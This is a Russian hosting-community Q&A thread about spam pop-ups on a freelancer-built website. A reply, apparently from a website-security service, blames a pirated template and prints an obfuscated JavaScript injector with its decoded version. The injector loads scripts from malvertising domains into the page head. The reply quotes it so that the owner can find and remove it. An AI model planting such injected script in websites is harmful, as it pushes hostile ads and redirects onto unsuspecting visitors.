1064

Всплывающие окна со спамом на сайте. Только на отдельных компьютерах

3 ответа

Здравствуйте! Можно ли понять по этим двум скринам почему лезет спам? Один фрилансер сдал нам сайт, и поначалу ничего подобного не наблюдалось. Сейчас постоянно лезут эти два окна, но только у двух человек на компах и на мобилах. Сам потестил на разных компах и мобилах и ни разу такого не обнаружил. На скрине, в консоли видны какие-то непонятные скрипты с "левыми" ссылками. В моей консоли такого нет. Вопрос: дело в сайте или в этих двух пользователях?

Ответы (3)

Напишите нам на web@urlvir.ru - скорее всего у Вас вирус на сайте.
https://timeweb.com/ru/community/marketplace/urlvir - наш профиль!
Скорее всего шаблон варезный, сторонний код на сайты
https://ofgogoatan.com/apu.php?zoneid=3260072
https://pushsar.com/pfe/current/tag.min.js?z=3260077

Примерно такой код нужно найти:
var _$_13d2=["\x64\x6F\x6E\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x2F\x2F\x6F\x66\x67\x6F\x67\x6F\x61\x74\x61\x6E\x2E\x63\x6F\x6D\x2F\x61\x70\x75\x2E\x70\x68\x70\x3F\x7A\x6F\x6E\x65\x69\x64\x3D\x39\x37\x37\x32\x38\x32","\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65","\x6E\x61\x76\x69\x67\x61\x74\x6F\x72","\x6D\x61\x74\x63\x68\x65\x73","\x28\x64\x69\x73\x70\x6C\x61\x79\x2D\x6D\x6F\x64\x65\x3A\x20\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65\x29","\x6D\x61\x74\x63\x68\x4D\x65\x64\x69\x61","\x2F\x2F\x6E\x61\x74\x69\x76\x65\x2E\x70\x72\x6F\x70\x65\x6C\x6C\x65\x72\x63\x6C\x69\x63\x6B\x2E\x63\x6F\x6D\x2F\x31\x3F\x7A\x3D\x33\x33\x32\x30\x38\x32\x35","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x73\x79\x6E\x63","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x64\x61\x74\x61\x2D\x63\x66\x61\x73\x79\x6E\x63","\x66\x61\x6C\x73\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];function nucnac_function(){if( typeof nucnac_function[_$_13d2[0]]!= _$_13d2[1]){return};var b=_$_13d2[2];if((window[_$_13d2[4]][_$_13d2[3]]== true)|| (window[_$_13d2[7]](_$_13d2[6])[_$_13d2[5]])){b= _$_13d2[8]};var a=document[_$_13d2[10]](_$_13d2[9]);a[_$_13d2[12]](_$_13d2[11],_$_13d2[11]);a[_$_13d2[12]](_$_13d2[13],_$_13d2[14]);a[_$_13d2[12]](_$_13d2[15],b);document[_$_13d2[18]](_$_13d2[17])[0][_$_13d2[16]](a);nucnac_function[_$_13d2[0]]= true}

Вот его расшифровка :
var _$_13d2=["done","undefined","//ofgogoatan.com/apu.php?zoneid=977282","standalone","navigator","matches","(display-mode: standalone)","matchMedia","//native.propellerclick.com/1?z=3320825";,"script","createElement","async","setAttribute","data-cfasync","false","src","appendChild","head","getElementsByTagName"];function nucnac_function(){if( typeof nucnac_function[_$_13d2[0]]!= _$_13d2[1]){return};var b=_$_13d2[2];if((window[_$_13d2[4]][_$_13d2[3]]== true)|| (window[_$_13d2[7]](_$_13d2[6])[_$_13d2[5]])){b= _$_13d2[8]};var a=document[_$_13d2[10]](_$_13d2[9]);a[_$_13d2[12]](_$_13d2[11],_$_13d2[11]);a[_$_13d2[12]](_$_13d2[13],_$_13d2[14]);a[_$_13d2[12]](_$_13d2[15],b);document[_$_13d2[18]](_$_13d2[17])[0][_$_13d2[16]](a);nucnac_function[_$_13d2[0]]= true}
Свернуть ответы
Денис +1
25.08.2020 03:33
Спасибо, Артему из URLVir! Оперативно и недорого решили эту проблему, кроме того, бонусом, оптимизировали работу сайта, после чего, он стал работать заметно шустрее. Круто!

Похожие вопросы

Попытка взлома

Здравствуйте! У меня на вашем хостинге размещён сайт centerporoshina.pro В последнее время я заметил, что на сайте уже более сотни раз зарегистрировался пользователь  test10859313@wintds.org , цифры всё время меняются, остальное нет....
Антон Кулаков
824

Защита сайта

Как злоумышленнику удается загружать в каталог, где мои сайты, свой файл с моими данными для входа? Кто нибудь может подсказать? Функций добавления файлов на сайте нет
Петр
389

Куда сообщать о фишинге

Здравствуйте, активизировались мошенники, пришло письмо как будто от Timeweb. Фишинговый сайт с ЛК хостинга. Вид письма через почту в панеле управления Вид через почтовую программу Ссылка ведет на фишинговый сайт стилизованный под панель...
С помощью соцсетей
У меня нет аккаунта Зарегистрироваться
Нажимая кнопку «Зарегистрироваться», я даю согласие на обработку своих персональных данных, указанных в форме регистрации.
С помощью соцсетей
У меня уже есть аккаунт Войти
Нажимая кнопку «Зарегистрироваться», я даю согласие на обработку своих персональных данных, указанных в форме регистрации.
Инструкции по восстановлению пароля высланы на Ваш адрес электронной почты.
Пожалуйста, укажите email вашего аккаунта
Ваш баланс 10 ТК
1 ТК = 1 ₽
О том, как заработать и потратить Таймкарму, читайте в этой статье
Чтобы потратить Таймкарму, зарегистрируйтесь на нашем сайте